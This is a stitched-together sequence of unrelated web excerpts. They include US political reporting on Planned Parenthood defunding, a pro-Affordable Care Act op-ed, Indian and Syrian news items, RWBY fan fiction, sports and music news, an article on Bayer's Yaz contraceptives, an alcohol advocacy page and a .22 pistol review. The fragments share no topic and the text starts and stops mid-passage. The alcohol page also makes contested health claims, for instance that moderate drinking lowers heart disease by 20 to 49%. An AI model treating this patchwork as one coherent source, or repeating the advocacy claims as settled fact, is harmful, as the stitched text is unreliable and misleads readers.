Parenthood could be addressed later, when Republicans move back to health care. Even die-hard conservatives aren’t endorsing the idea of pairing the Planned Parenthood issue with tax reform. “I don’t see that happening,” said Rep. Mark Meadows (R-N.C.), chairman of the conservative House Freedom Caucus, a group that has led the charge on defunding Planned Parenthood. “I mean, I’m a big one on defunding Planned Parenthood and pro-life measures, but I don’t see it being included in reconciliation instructions.” Like Cornyn, he said Republicans could return to the issue when they get back to ObamaCare repeal. But such promises are of little value to anti-abortion groups. That’s “not acceptable,” Musgrave said. “It’s a reasonable ask from the pro-life community, and this is what we’re saying to the most pro-life Congress ever. It didn’t get done on health-care reform, so we expect it in this reconciliation bill.” Musgrave said SBA List President Marjorie Dannenfelser has met with Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) over the matter. While promoting tax reform this week, however, GOP leaders have not indicated that language defunding Planned Parenthood would be a part of the bill. Ryan’s office did not respond to request for comment. It's also unclear if such language would meet the Senate's strict rules for reconciliation. The Senate parliamentarian ruled earlier this year that defunding language included in the GOP's health-care bill didn't meet the rules and would need 60 votes for passage. It's possible that a similar issue could arise if the language were added to the tax-reform bill. Other anti-abortion groups, including Students for Life and March for Life, which organizes a march on D.C. every year to protest abortion, are pushing for Republicans to defund Planned Parenthood through tax reform. “We call upon this Congress and Administration to be true to their promises to fix abortion aspects of the healthcare law and work to redirect funding for Planned Parenthood through tax reform,” March for Life President Jeanne Mancini said in a statement to The Hill. Students for Life President Kristan Hawkins indicated the anti-abortion movement is getting frustrated with Congress's failures to defund Planned Parenthood. “It’s been incredibly frustrating. If this was a priority for leadership, they would have found a way to get this done. This is something we’ve been talking about for many years,” Hawkins said. “Now we’re hopeful … about trying to add a defunding Planned Parenthood measure into the new tax reform plan.” Even some of the loudest voices on Capitol Hill against Planned Parenthood, however, will not commit to including a defunding measure with tax reform — perhaps underlining the importance of the tax measure to the GOP. “Well, obviously, the defunding provision is critically important to many of us and to a lot of unborn children, so we’re hoping to see it placed in a vehicle that will come to fruition,” said Rep. Trent Franks Harold (Trent) Trent FranksArizona New Members 2019 Cook shifts 8 House races toward Dems Freedom Caucus members see openings in leadership MORE (R-Ariz.), chairman of the House Pro-Life Caucus. Asked if that could be tax reform, he replied: “I know that’s certainly something I would support, but I’m obviously also strongly supportive of the tax bill at this point.” Other Republicans sounded a bit more open to the possibility of adding Planned Parenthood defunding to the tax package. “I would actually support that anywhere I could get it," said Sen. James Lankford James Paul LankfordHarris on election security: 'Russia can't hack a piece of paper' GOP advances rules change to speed up confirmation of Trump nominees GOP senator calls Omar's apology 'entirely appropriate' MORE (R-Okla.), a leader on anti-abortion issues in the Senate, when asked if defunding Planned Parenthood should be included in tax reform. Sen. Ted Cruz Rafael (Ted) Edward CruzTrump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington Trump endorses Cornyn for reelection as O'Rourke mulls challenge MORE (R-Texas) said: “I have long led the efforts in the Senate to defund Planned Parenthood, and I think we should use every available means to do so.” Jacqueline Ayers, director of legislative affairs for the Planned Parenthood Action Fund, said it’s a risk whenever Republicans use reconciliation that they’ll try to attach defunding language. “We are always monitoring for the possibility that the next reconciliation bill, while it should stay focused on taxes, could attempt to also go after health care and defunding Planned Parenthood,” Ayers said. “If there is a goal to have a successful agenda around taxes and reforming and overhauling the tax system, putting in poison pills and unpopular provisions like defunding Planned Parenthood would stop them in their tracks once again. I think that would do more to create tension and make it more likely they would have another failed agenda item.” -Optus has dusted off its M & A playbook for iiNet but is not expected to get involved in a takeover war that has already sent the Perth based telco's shares to fresh highs. It's understood Optus has looked at its rival a number of times in recent years and has re-run the numbers now that iiNet is officially on the market. However, as is often the case, it's believed Optus struggles to see value in iiNet at $1.56 billion. Optus has looked at its rival a number of times in recent years and has re-run the numbers now that iiNet is officially on the market. Mayu Kanamori The company's Singaporean parent has repeatedly shown itself to be a frugal buyer and previously missed out on smaller internet service provider acquisitions to iiNet. And, at a time when Optus has flagged extensive capital commitment to Australia already, it's hard to see them getting involved in iiNet. -If you've ever shopped for health insurance, you know that the prices for adequate health care, whether for an individual or a family, are unreachable. In the past, insurance companies charged you an immense amount of money to get on a plan. And if you happened to have a pre-existing condition, they would either deny you coverage, or raise your premiums even higher. But just this week, the Affordable Care Act's Marketplace went into effect and millions of people are now able to enroll in it. The marketplace, a one-stop shop to compare plans and prices, serves as an incentive for private insurance companies to compete for our business. Previously, insurance companies gave their best prices in a bulk, in most cases through an employer-based plan. Now, thanks to the marketplace, families or individuals who are looking for affordable health care plans are be able to buy them. In essence, the marketplace makes each state act as its own company, where insurance companies compete for people seeking health care coverage, forcing these insurance companies to create new low and affordable prices. As a result of the Affordable Care Act, starting in 2014, nearly 6 in 10 Americans currently without health insurance could get coverage for $100 a month or less. In addition to the marketplace, the Affordable Care Act specifically addresses the inequalities in accessing health care that have affected minority communities across the country. With this new law in place, an estimated 10.2 million Latinos will have the opportunity to purchase affordable health coverage. With young adults being the age group most likely to be uninsured, it is imperative to point out the benefits of Obamacare not just to Latinos as a whole, but to young Latinos as well. As young Latinos, it's important for us to have access to preventive care and health education, including flu shots, birth control and other preventive services. Obamacare will allow young individuals to access such services, without having to pay a co-pay or deductible. When 1 out of 4 Latinos reported withdrawing money from savings to pay for health care costs, it's important for young Latinos to understand that Obamacare is helping them focus on other priorities, such as getting good grades in the classroom or excelling at that first job out of college. In the past, young Latinos lost their health insurance when they left home or graduated from college. Now, thanks to this law, young Latinos are able to stay on their parents' health care insurance until they are 26. As a result of this, young Latinos between the ages 19 and 25 who would have otherwise been uninsured, now have access to coverage under a parent's health care plan. And for those of us who are unable to qualify to stay on our parent's insurance, under this law, we are eligible to get financial assistance to pay for insurance via the new health Insurance marketplace, which opens up for enrollment starting next week. As a young Latino, who is facing student debt, and a tough economic market, it matters a great deal to be able to have affordable health care prices. With Latinos starting more businesses each year than their counterparts, it's extremely helpful to know and rest assured that this law caters to young Latino entrepreneurs, who otherwise wouldn't have access to health care coverage through their employer, where a majority of Americans get their insurance from. But most importantly, the Affordable Care Act provides us with a piece of mind, that just because of a pre-existing condition, we won't be denied coverage. The fact is that I've seen too many people, including my own mother, face unreachable premiums or be denied health insurance because of the old policies in place. Thanks to the new marketplace, insurance companies can't deny you or increase your premiums because of a pre-existing condition, -Ishrat Jahan is one of the five petitioners in the landmark Supreme Court case on triple talaq. The two missing children of Ishrat Jahan, one of the five women who challenged instant triple talaq and won, have been traced. The children had been taken to a relative's house in Bardhaman - about 100 km from Kolkata - by their father, the police said this evening. Ishrat Jahan, 31, had accused her husband of kidnapping two of her four children.Last week, the Supreme Court declared illegal the practice of triple talaq, or Muslim men divorcing their wives on the spot by uttering "talaq (divorce)" thrice, in a landmark verdict. Two days after the Supreme Court judgment, Ishrat Jahan asked Bengal Chief Minister Mamata Banerjee for protection, saying she had faced condemnation and attacks from members of her community, especially her husband's family.Her in-laws and neighbours were calling her a "gandi aurat" (bad woman) for challenging Islamic laws and talking about it, Ishrat Jahan complained.Ishrat Jahan was divorced over phone by her husband from Dubai in April 2014.She says her four children were taken away by her husband and they lived with his second wife in a village in Bihar. Two of them, a 13-year-old girl and a seven-year-old boy, returned to their mother unannounced recently, says Ishrat Jahan. -RN In general we regularly produce reports on the socioeconomic impact of the crisis. We use different methodologies. But essentially we make a comparison between our baseline scenario — as if the crisis had not happened — and what has actually transpired. Basically, the economy has been systematically destroyed. First, Syria’s capital stock is lost. There has been direct destruction as a result of the armed conflict, and there is currently a great deal of idle capital in Syria due to the security conditions. The second point is the loss of human capital, either because of displacement, migration, or because of death and injury. We have lost a lot of skilled workers. And we have lost a huge amount of human capital in Syria. Third, there has been a loss of infrastructure: there was a huge infrastructure for health, education, telecommunications, industry — we have lost it, and we have lost the networks between some Syrian markets and other markets both inside and outside Syria. Furthermore, especially after the armed conflict began, people migrated out from Syria, and there has been outflow of capital, especially private capital. The only reliable remaining network for the economy has been government salaries. The government continues to pay its salaries. So this is one part of the economy that continues to function. The other part is the agricultural sector, which continued producing well until last year. But then it took a turn for the worse, and as a result food security deteriorated greatly in the country. All the basic pillars of the economy have been partly destroyed. And these used to be, at least to a large extent, its sources of growth. This is one aspect of the economic problems. The other part is the creation of a violence economy — a lot of people have started to contribute to the fighting, and they now have incentives from smuggling, killing, and widespread theft across the country. And the institutions which had been central to long-term growth are in bad shape. And of course this social movement, which started as a peaceful movement, has been diverted from the main road and now we are facing a loss of social capital. Furthermore, there has been a deterioration in social services, such as education. We have lost some of Syria’s main strengths, like an educated population. Now most of the new generation is outside the educational system, and outside the reach of the health services, too. Fragmentation within Syria as a result of the armed conflict is pervasive, and now we have the phenomenon of fundamentalism. We call those contributing to the armed conflict subjugating powers. They are not just inside Syria. They are inside and outside, and they are financing and supporting the influence of tyranny and fundamentalism. This is destroying the social fabric of the Syrian people, the culture of Syria, and of course destroying the idea of a future. Most people are trying to leave the country, and so stabilization is not possible. -Chapter One—Pawns In an Emerald Forest Today was the day she's waited for. Her massive sword blazed through the air like a rocket, trailing fire and smoke as it was propelled by jet engines towards its unfortunate target. The shadowy beowolf didn't stand a chance. Her sword caught the beast under the arm and in a flurry of jets and fire her sword was dragged upwards and beyond, leaving the grim monster in pieces. The young woman holding the massive blade—almost twice as tall as she was, which didn't mean much because she wasn't very tall—smiled darkly at the sight of her handiwork. Placing her blade against her shoulder she breathed in deeply. The smell of battle filled her nostrils; sweat, dirt, mangled fur and the aroma of exaggerated combat tingled her nose like an electric shock. Oh, what a scent! Her ears were blessed to hear an orchestra of metal on beast, the dancing footsteps of battle forming a rythem that incouraged her own feet to dance and her arms to twirl about wielding jetstream—her sword... the big massive jet-powered sword she held against her shoulder—and join them in the frenzy. Even the echoing sounds from a Laughter didn't shatter her euphoric thoughts. The small laughing ape jumped at her from up high in the trees, its red eyes gleaming like glowing red dust and his mask elaborately decorated with eyes and mocking lips. But this Grimm found no such luck with Hope. In a flash her sword was ripping through the air, trailing blue fury. It collided with the laughing Grimm and sent it across the clearing in two distinct pieces. Hope breathed in deeply again, smiling. She was in total control. "What are you doing?!" Demanded a young woman with granite colored flowing long hair and serious dark eyes, "If we don't get those pieces we'll never get to be huntresses! We need to get going, the soon the better if you ask me." "Yeah, well no one asked you, Payne." Hope said under her breath. "What did you say?" "I said that I didn't ask you!" She repeated herself, not afraid to say what was on her mind, "I don't need you to tell me what to do." It was the truth after all. "If either of you ladies wouldn't mind..." Oriol grunted, his armored fists locked with the claws of a mighty dark bear—and Ursa Grimm, "If you two start arguing again it's going to be 'unbearable'." Before Hope could even roll her eyes at that god awful pun something struck the Ursa from behind. The attack came out of nowhere and was so fast it left only an afterimage of a snow white blade slicing the bear's spine. She searched the trees for Essere, but he had already fallen back beyond the trees. It was incredible how quickly and silently he could move. Oriol looked around for Essere. His mouth was gaunt with disappointment, "... I wanted to be the one to do that..." "To bad." A small voice said from behind Hope. It was Essere. Neither she nor Payne even realized he was there until he spoke. "Looks like it's already over." "Yeah." Hope went the center of the clearing to observe the fallen Grimm beasts. There were dozens of Beowolves and Laughters scattered around, all in little bits and bobs but neither Hope nor Oriol nor Payne nor Essere had a scratch on themselves. It was almost too easy. "We'll this is disappointing." "What is?" "This entire quest. When Professor Ozpin said we needed collect a relic I just thought it was going to be much more dangerous here... I thought there were going to be traps and monsters the size of buildings and dust magic and—and—I don't know, just more than this! Even when they launched us from the cliff was simple." "Says you." Oriol objected, "You were able to fly down with that sword. I had to fall. Hard." He rubbed his bruised arm gingerly as he said that last part. "I just thought Beacon was supposed to be different than Signal or Transmit." Everyone was silent, including Essere who's always quite. In the aftermath of the battle the four of them stood tall in the center of the clearing. "Listen." Hope said, her voice demanded to be heard, "I don't know anything about you more than your names and that you can put up a hell of a fight. I've never seen you in my life before now but from the moment our eyes met we became a team. And as a team I can promise you—we're going to be the first to get that relic, and we're going to be the first to get out of this forest. Nothing is going to stand in our way." Payne crossed her arms, "Who elected you to be our leader?" Hope put away her sword, "No one, but if you have a problem with it then do something about it." Payne raised her hands and cocked a smile, "I have no problems, no ma'am." "Good. I'm Hope Hekigan by the way. I look forward to fighting with you—all of you." "I'm Payne Grayson." "Oriol Chava, at your service." "Essere Al Verde." Once the last name was pulled forth a dreadful sound emerged from beyond the trees. The sound of crows and flapping wings. Hundreds of flapping wings. Behind every leaf was a pair of yellow glowing eyes, and below the branches black feathers fluttered down aimlessly from above. Everyone looked to each other, "Well, I guess that's our cue to get the hell out of here!" Pouring from the trees came dozens of ink black Cravens, their caws ringing out at them like fingernails on a chalkboard. A smile dashed across Hope's lips, stretching from ear to ear. Drawing her sword jetstream she pointed it at the flock of inky missiles lobbing themselves towards the four of them. "Looks like we're going to have to fight..." -Arizona emo-rock veterans Jimmy Eat World will play next year’s Slam Dunk Festival, headlining the event on their 25th anniversary as a band. They will be joined by their Long Island counterparts Taking Back Sunday, who return to the festival for the third time. Both bands are among the first six acts – exclusively revealed by The Independent – to be confirmed for the UK alternative festival held across three dates in Hertfordshire, Leeds and Birmingham over the spring bank holiday weekend. Pop punk bands Four Year Strong, State Champs and Trash Boat will also play, and post-hardcore group Sleeping with Sirens complete the first batch announced. Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month The festival, now in its twelfth year, is known for attracting some of the biggest names in pop punk, emo and hardcore, having previously hosted the likes of Enter Shikari, You Me at Six, Fall Out Boy and All Time Low. Next year will see the South date move from the University of Hertfordshire to nearby Hatfield Park, having outgrown its former home. The Midlands and North dates will remain at Birmingham NEC and Leeds City Centre respectively. Festival director Ben Ray said: "Slam Dunk Festival South has been taking place in Hatfield since 2010 so the town has truly become our home. Therefore, I am extremely happy we managed to find a new site still within the town. We are sad to leave the University however the event was selling out months in advance so we knew we had to move it and make it bigger due to demand from the fans." After forming in 1993, Jimmy Eat World are widely regarded as one of the most influential bands in the emo and pop-rock scenes, and last year released their eighth full-length record Integrity Blues. This will be their first time playing Slam Dunk and their only UK festival appearance in 2018. Slam Dunk Festival 2018 takes place on the following dates: Saturday 26 May: Leeds City Centre Sunday 27 May: Hatfield Park, Hertfordshire Bank Holiday Monday 28 May: Birmingham NEC Tickets go on sale this Friday at 9am. -Dave Romney and Emmanuel Boateng scored six minutes apart as the Galaxy mounted a furious comeback to defeat Real Salt Lake on the road for the first win of the 2017 season. A few minutes in, Brooks Lennon glided unmarked to meet a cross deep inside the box, but his volley was just high as Clement Diop punched the air in frustration. Diop had good reason to be upset. The Galaxy defense was dangerously lax, and it was no surprise when Yura Movsisyan powerfully re-directed a header past the goalkeeper in the 18th minute to put the hosts ahead. Things looked bleak for LA, who were sputtering offensively and generally looked aimless. But RSL tossed the Galaxy a buoy when Kyle Beckerman earned his second yellow needlessly fouling Joáo Pedro in the 44th minute, and suddenly there was hope. The second half started off sluggish for LA, who enjoyed 80% possession but were not threatening And all of a sudden, the match turned on its head. Romain Alessandrini’s swerving cross in the 69th minute was met by Dave Romney who smashed a picture-perfect cannon past a helpless Nick Rimando. A minute later substitute Chad Barrett flubbed his lines when he basically missed an open net that would have put RSL back up front. In the 75th minute, the comeback was complete when Alessandrini got to the sidelines and squared a low cross that Boateng got on the end of and struck home. -But regulators are finding other faults with the Yaz franchise. The Food and Drug Administration early this year asked Bayer to correct misleading television commercials. Last month, the agency cited the company for not following proper quality control procedures at a plant that makes hormone ingredients. In e-mail responses to a reporter’s queries, the American unit of the company said that its birth-control drugs had been and continued to be extensively studied and that the company stood behind their safety. The company also said it had responded to the F.D.A.’s questions about manufacturing practices, which it said it took very seriously. But even if Bayer can adequately respond to the safety and other concerns, some industry analysts say that the avalanche of criticism could tarnish the Yaz line’s image. Other products by Bayer, like the erectile dysfunction drug Levitra and the intrauterine birth-control system Mirena, generate far less income than the Yaz product family. “For Bayer, it is by far the highest margin and the fastest-growing brand,” Martin Brunninger, an analyst with the European investment bank Bryan, Garnier & Company, said in a phone interview from London on Wednesday. “Whether this turns out to be a serious issue or not, when a drug is stigmatized in public, people just withdraw from taking it.” Bayer said that the company had been served with 74 lawsuits brought by women who charge that they developed health problems after taking Yaz or Yasmin. The company says it intends to defend itself vigorously against the suits. The health questions and the lawsuits may rattle consumer confidence, but the warnings from federal health authorities about advertising and quality control raise larger questions about Bayer’s approach to complying with government rules, said Michael A. Santoro, an associate professor at the Rutgers Business School who has studied ethics in the pharmaceutical industry. Birth control pills work by altering a woman’s hormone levels. Researchers have long known that taking a combination hormone birth control pill — which contains estrogen and a progestin hormone — can increase the risk of stroke and blood clots in the legs and lungs. That is because estrogen can play a role in blood coagulation. Indeed, since the introduction of oral contraceptives in the 1960s, drug companies have greatly reduced estrogen doses to decrease the risk of thrombosis, the medical term for blood clots. Advertisement Continue reading the main story With lower-dose estrogen pills now available, the safety debate, continuing for the last decade, has focused on whether the type of progestin in a formula may also play a role in the risk of cardiovascular problems. In 2001, the F.D.A. approved Yasmin, which contains a novel progestin called drospirenone. Yaz, which contains drospirenone and a lower dose of estrogen, received agency approval in 2006. For women seeking contraception , the drug is also approved to treat severe emotional and physical symptoms called premenstrual dysphoric disorder and for moderate acne. Because drospirenone can increase potassium levels in the body, it may put women who have liver or kidney problems at risk for serious heart problems, according to the drug label. Studies on the safety of birth control pills have reported different results on the risks of progestins. Photo One large-scale study in Europe , sponsored by Bayer, reported that there was no difference in the risk of cardiovascular problems or death in women taking drospirenone birth control pills compared to women who took pills that contained levonorgestrel, a progestin that has been used since the 1970s. But two other studies on Danish and Dutch women, published last month in The British Medical Journal, found a higher risk of venous blood clots for women taking newer progestins, including drospirenone. The results of the new studies, conducted on European populations with specific genetic risk factors for blood clots, might not translate to a more ethnically diverse American patient population, said Dr. David A. Grimes, a clinical professor of obstetrics and gynecology at the University of North Carolina medical school. And even if the reported increased risk is realistic, he said, it is tiny. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. “My dictum is that a multiple of a rare event is still a rare event,” said Dr. Grimes, who has been a paid consultant for Bayer and other makers of contraceptives. And taking birth control pills involves much smaller blood clot risks than getting pregnant and having a baby, he said. But Dr. Frits R. Rosendaal, a professor of clinical epidemiology at Leiden University Medical Center who was one of the authors of the Dutch study, said the reports of an increased risk were worth acting on — by switching to pills containing levonorgestrel. Advertisement Continue reading the main story “Even if the risk of thrombosis is low, why not choose the lowest risk, just in case?” he said. A spokeswoman for the F.D.A. said the agency was reviewing the safety of birth control pills with a study designed to identify the incidence of blood clots, stroke and death among users of Yasmin and other oral contraceptives. Bayer, meanwhile, is conducting a postmarketing study comparing the safety of Yaz with other birth control pills. Lawyers suing Bayer on behalf of plaintiffs who claim that they developed blood clots, heart attacks and other health problems because they took the drugs said they intended to argue that the company knew or should have known that the pills entailed a higher risk. One such plaintiff is Anne Marie Eakins, a history teacher in Grafton, Ohio , who developed blood clots in both lungs in 2007 and, as a result, she said, lost partial use of her right lung. She had used a variety of different birth control pills over more than a decade before starting Yaz in 2007, she said. “To be perfectly honest, I asked my doctor about Yaz because I had seen the commercial and it mentioned helping control your period symptoms and acne, which was very attractive to me,” said Ms. Eakins, 34. “I didn’t think it was going to be worse than any other pill.” Because drug labels for Yasmin and Yaz contain warnings about the risk of side effects like blood clots and strokes, plaintiffs may have a difficult time winning cases with the argument that the company should have issued stronger alerts. But, armed with F.D.A. warning letters to Bayer, lawyers may find more success with the argument that misleading Yaz commercials enticed women to take the drug, thereby exposing them to health risks they might not otherwise have incurred. Last October, the agency sent Bayer a warning letter, citing the company for running two false and misleading television ads about Yaz. According to the letter, the ads overstated the drug’s efficacy, promoted it for conditions like premenstrual syndrome for which the drug is not approved, and minimized serious risks associated with the drug. In February, Bayer agreed to spend $20 million on a corrective advertising campaign to counteract misimpressions created by the original television spots. Last month, the agency sent Bayer a warning letter about another problem — deviations from quality control standards at a manufacturing plant in Germany that makes drospirenone and other hormone ingredients used in Bayer’s birth control pills sold in the United States. The letter said that the way in which the facility calculated variability in ingredients did not meet American standards. Bayer said it was taking the matter seriously. Maintaining good manufacturing practices and patient safety continue to be top priorities at Bayer, the company said in a statement. But Mr. Santoro of the Rutgers Business School said that drug companies should set higher standards for themselves than those set by the F.D.A. Advertisement Continue reading the main story “It tells me,” Mr. Santoro said of Bayer, “that it is not understanding the business that it is in, that it is not understanding the health risks that it is posing to the public or the financial risk that it is creating for its shareholders.” -A section of Maoists in India has decided to abandon armed struggle and instead opt for open democratic practices to carry forward their fight for justice for the poor and the marginalised. The decision to give up violence as a means of achieving their political goals comes at a time when large swathes of India are in the grip of a conflict between the Maoists and government security forces leading to the deaths of hundreds of paramilitary forces, the police, Maoist fighters and civilians caught in the crossfire. At a meeting held at a secret location near the southern Indian city of Bangalore, a breakaway section of the leaders of the Communist Party of India (Maoist) told reporters that the path of armed insurrection was outdated in modern-day India, with its globalised and liberal economy. The new thinking has been in the pipeline for the last seven years and several discussions have been held within the CPI (Maoist). Those who were convinced formed the breakaway Revolutionary Communist Party (RCP). The public declaration of abandoning armed violence has come following the intervention by a group of writers, poets and journalists in the southern Indian state of Karnataka. This group, which had asked the Maoists to lay down arms, met state chief minister Siddaramaiah requesting him to help integrate the breakaway Maoists into mainstream politics. For mass movement Two top leaders of the breakaway faction Noor Zulfikar (aka Noor Sridhar) and Sirimane Nagaraj are wanted by the police in several cases. Talking to reporters they said if the police dropped the cases against them they would work in the open. "The need of the hour is not armed struggle, but a broad, democratic and open mass movement and a united front of various people's struggles. For this, we have to work in the democratic and legal framework." The breakaway section now describes as wrong the premise on which the Maoists armed violence is based. According to it, the corporate sector had reached even the villages and disputed the earlier interpretation of society, particularly in rural India, being "semi-feudal, semi-colonial" The need of the hour is not armed struggle, but a broad, democratic and open mass movement and a united front of various people's struggles. For this, we have to work in the democratic and legal framework. Noor Zulfikar, Member, Revolutionary Communist Party (RCP). The Maoists take inspiration from the 1917 Russian revolution and the 1949 Chinese Communist revolution. But Zulfikar and Nagaraj say "what is required is neither the Russian Revolution model nor the Chinese model. We have to evolve a third model." They said it was foolish to claim that armed struggle was the only way to transform society. In democratic societies of the modern era, transformation should be achieved with minimal damage. Asked if societies would not move towards violence in future, Noor said "Nobody can predict that, as it depends on how oppressive the State gets. But armed struggle should not be a subjective agenda". Holding that ideology should not substitute common sense, the two leaders said that ideology without "creatively application" had led to dogmatic practices in the Maoist party. Although a large section of the Maoist cadre was in favour of the new thinking, the leadership did not acknowledge, much less address the concern. The underground party was not up to accepting the challenge of exploring a third alternative because "its very structure will crumble". In the last seven years the breakaway faction has quietly studied people's movements around the world and this has been enlightening. "We realised the blunder of not studying Ambedkar (leader of the so-called lower castes or dalits). All the while, we have focussed only on Marx, Lenin and Mao. We believe that we have much to learn from the Gandhian movement as well," he said. The two leaders said a large number of cadres within the Maoist movement favoured abandoning armed violence and instead going in for an open non-violent system of protest. The question however is how many would follow their belief and break away from the hard -line Maoists. Since the late 60's Maoists have entrenched themselves in large parts of India including the states of Andhra Pradesh, Karnataka, Orissa, Maharashtra, Madhya Pradesh, Bihar, Chhatisgarh and West Bengal. In the violent conflict that has peaked and ebbed periodically over the years, thousands have lost their lives. Prime minister Manmohan Singh even described Maoist violence as India's biggest internal security threat. -The company began a program in 2013 to increase its hiring of U.S. veterans and was able to sign up 10,000. Today's announcement would bring the number to 30,000 by the year 2020. The company was founded by Conrad Hilton who was a veteran of World War 1 serving in France. In the release issued this morning Hilton's CEO Christopher Nassetta said "Military veterans and their families have made incredible sacrifices for our country, and we are strongly committed to ensuring they have great jobs when they return home from service. We've always felt strongly about this issue since our founder Conrad Hilton himself was a military veteran, and we are very proud of our veteran Team Members who have contributed so much to our company." The company says the best way for veterans to find out more about these jobs is to go to jobs.hilton.com/military. In the most recent survey released by the Bureau of Labor Statistics the agency noted the unemployment rate for active duty American veterans stood at 5.1 percent. However unemployment and under-employment among military veterans has been a chronic problem in this country. -A teenager has been arrested after a late night out where he allegedly stabbed a man, threatened another into handing over his car as a getaway vehicle, and then crashing that vehicle during his escape. Just after 2 a.m. Friday, the 17-year-old male was at a restaurant in the Yonge St. and Churchill St. area socializing with a 20-year-old man when the teen abruptly exploded. He allegedly stabbed the other man in the head, arms and torso with no provocation, before leaving the restaurant. A 17-year-old boy has been charged with attempted murder, robbery, and dangerous operation of a motor vehicle. ( Chris So / Toronto Star ) As the first victim fled to safety, the teen approached a 27-year-old man sitting in his SUV in a nearby parking lot, police say. The teen allegedly threatened the man with his knife, ordered him out of the vehicle and then stole it. Police spotted the SUV fleeing down Sheppard Ave. just before 3:30 a.m. and ordered him to stop. The teenager allegedly ignored the order and barrelled through a red light at Sheppard Ave. E. and Brian Rd., where he collided with another vehicle. Officers were able to make the arrest when the commandeered SUV came to a stop on the sidewalk. The 20-year-old man who suffered stab wounds was taken to the hospital in non-life-threatening condition. No one else was injured. Article Continued Below The teenager has been charged with attempted murder, robbery, flight from police and dangerous operation of a motor vehicle. He cannot be identified under the provisions of the Youth Criminal Justice Act. -Alcohol Problems and Solutions Welcome to the Alcohol Problems & Solutions website. It’ has been debunking myths and sharing effective peer-reviewed ways to reduce drinking problems and live healthier, for 20 years. Moderate drinking of beer, wine or distilled spirits (liquor) reduces heart disease by 20 to 49%. In addition, moderate drinkers are healthier and live longer than either abstainers or alcohol abusers. Curious? Bar Exam Think you know all about alcohol? Take this fun alcohol quiz. It's full of alcohol related facts. George Washington Quiz How much do you know about George? Test your knowledge. Bet you didn't learn any of this in school. Politicians Arrested for Drunk Driving (Federal & State) I. Background. There are many politicians arrested for drunk driving. The charge is usually driving under the influence (DUI) or driving while intoxicated (DWI). However, some states use different charges. For example, OUI (operating under the influence) or OWI (operating while intoxicated). And even DWAI (driving while ability impaired). The charges usually relate to alcohol. […] Read More Legal Drinking Ages around the World – You’ll be Surprised! I. Background Legal drinking ages around the world vary greatly. Most such laws apply only to drinking alcoholic beverages in public locations. The only countries with a minimum legal age for consuming alcohol at home are England and Wales. They prohibit drinking below the age of six. The average (mean) minimum legal drinking age around […] Read More Alcohol and Bladder Cancer: Important Medical Information for Health and Long Life Are drinking alcohol and bladder cancer risk connected? I. Alcohol Not a Risk Factor The consensus of scientific medical opinion is that alcohol does not increase the risk for bladder cancer. To the contrary, it appears that drinking alcohol may reduce the risk of developing the disease. Major medical groups have examined all researrch evidence […] Read More Prohibition Party – The Oldest Third Party in U.S. I. Background. The Prohibition Party of the United States began in 1869. Before the Civil War (1861-1865) temperance groups had promoted voluntary abstinence from alcoholic beverages. The War diverted national attention to more pressing matters. Subsequently, the temperance movement wayned. Moral suasion had proved to be both difficult and frustrating. So after the War, temperance […] Read More Dry Counties Have Higher DWI Fatality Rates Dry counties have higher DWI or DUI fatality rates than wet counties. That is, alcohol prohibition or dry counties have higher rates of alcohol-related traffic deaths than do wet counties. Here are the results from three states. There are many examples. Here are three. I. Arkansas A study of all counties in Arkansas found dry […] Read More Disclaimer: This website is informational only. It makes no suggestions or recommendations about any subject. Alcohol Facts: -By Jeremy S. U.S. Fire Arms (USFA) is best known for very high-quality single action revolvers. But the gunmaker has branched out and built a new brand: ZiPFactory. Their first new product is the ZiP .22LR pistol. USFA says ZiP is the code for The Future of Fun™ and claims that “The Future is Now™.” Well, I’ve seen the future and the future is . . . um . . . well it needs some work . . . To paraphrase Wallace, the latter day ZiP gun is like no cheese I’ve ever tasted. With the exception of some stainless bolt heads on the left side and just a glint of barrel inside the ejection port on the right, it’s got more black plastic than an obese rubber fetishist. And then there’s the design; most folks seeing it for the first time don’t even know where to begin. How to hold it? Where’s the trigger? What are all of those things on the front? Is that the front? The bolt (ZiP calls it the “recoil body”) is entirely inside of the frame. Your shooting hand goes right behind the bolt on the back of the gun. The bore axis is aligned near the top of your palm. Its position in your hand is lower than on any pistol with a standard slide-on-frame design, not a million miles away from the Chiappa Rhino. While muzzle flip is never really a problem with a .22, it’s non-existent with the ZiP. As the plastic bolt is completely internal, the ZiP has an external charging capacity. Instead of notching the frame for a bolt-mounted charging handle like you might see on a 10/22 or other semi-auto rifle, ZiPFactory decided to put two charging rods out front, right over the muzzle. Yes. Right over the muzzle. The longer of the two rods – the left one (although the user can swap them from side-to-side) – is the “ZiP LOAD” rod. You simply put your finger out there on the front of it—-right above the muzzle– and push it into the frame. That moves the bolt back behind the first round in the magazine and then feeds it into the chamber when you snap your finger off the rod. The shorter of the two rods is the “ZiP RESTRIKE” rod. Pushing it until it’s flush with the frame is supposed to reset the striker but not move the bolt back far enough to strip the next round out of the mag. This is theoretically handy if you have a bum primer or some sort of other failure to fire requiring you to reset the striker with a round in the chamber. On my gun, though, it didn’t work. My striker refused to reset until the bolt was back far enough that it always stripped the next round out and caused a double feed. Keep in mind that resetting the striker with a live round in the chamber means putting your fingers/hands right at the muzzle (hopefully it wasn’t just a hangfire!). Clearing jams requires the same digit-endangerment. There is no provision for locking the bolt back. The ZiP is actually comfortable enough to hold. The contours molded into the sides of the frame give right-handed shooters places to rest their thumbs, indexed index fingers, etc. It will work for lefties but not so much. That said, the grip angle is exactly vertical, and if you think a Block is glocky, you clearly haven’t held a ZiP yet. The little loop for your middle finger is critical for achieving a solid grip on the gun when you aren’t pulling the extremely heavy trigger. I wasn’t able to measure it, but I reckon it’s over 12 lbs. It’s ‘stagey’ but fairly smooth. The break is pretty clean and the reset can be both heard and felt. The factory sights are as basic as sights get: black plastic squares front and rear with no dots. They work just fine and accuracy with them was very good, despite the front sight being harder to find than an 